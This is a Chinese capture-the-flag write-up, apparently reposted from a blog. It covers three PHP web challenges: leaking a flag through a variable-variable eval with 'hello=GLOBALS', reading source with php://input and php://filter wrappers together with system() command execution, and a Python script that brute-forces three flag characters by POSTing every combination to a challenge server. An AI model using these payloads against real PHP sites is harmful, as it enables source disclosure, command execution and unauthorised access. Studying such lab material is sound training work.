标签:自己的 全局变量 读取文件 穷举 charset flag add 两种 NPU
一共6道题有两道题没写上。
1.全局变量。
开始给了一大片代码,只截取有用的一部分。
include "flag.php"; $a = @$_REQUEST[‘hello‘]; if(!preg_match(‘/^\w*$/‘,$a )){ die(‘ERROR‘); } eval("var_dump($$a);"); show_source(__FILE__); ?>
hello作为全局变量,如果HELLO被赋值为全局函数,就输出flag。hello=GLOBALS
2.include(文件包含)
path作为参数我们需要通过这个参数读取php中的绝对路径。
爆绝对路径有两种方法 1.利用php://input+post覆盖原有变量。2.利用php://filter伪协议读取文件目录。
第一种方式 bp抓包后修改数据
system函数作为命令执行函数会使文件列出自己的目录。
这个就是要用的文件。
之后利用php伪协议读取这段代码
解码后
3.attrack
<?php header("content-type:text/html;charset=utf-8"); show_source(__FILE__); echo ‘<pre>‘; include(‘u/ip.php‘); include(‘flag.php‘); if (in_array($_SERVER[‘REMOTE_ADDR‘],$ip)){ die("您的ip已进入系统黑名单"); } var_dump($ip); if ($_POST[substr($flag,5,3)]==‘attack‘){ echo $flag; }else if (count($_POST)>0){ $ip = ‘$ip[]="‘.$_SERVER[‘REMOTE_ADDR‘].‘";‘.PHP_EOL; file_put_contents(‘u/ip.php‘,$ip,FILE_APPEND); } echo ‘</pre>‘; array(0) { }
代码的大概意思就是验证flag从第5位开始之后的3个字符是否符合要求,因此需要穷举所有情况。贴出要写的py脚本。
import requests flagChar="0123456789abcdefgh" url="http://9ce38ac00cc94333a493d980280b990d53789b1435df421e.changame.ichunqiu.com/" dictData={} for a in flagChar: for b in flagChar: for c in flagChar: dictData[a+b+c]="attack" print (dictData) res = requests.post(url,data=dictData) print (res.text)
标签:自己的 全局变量 读取文件 穷举 charset flag add 两种 NPU
原文地址:https://www.cnblogs.com/sylover/p/10686220.html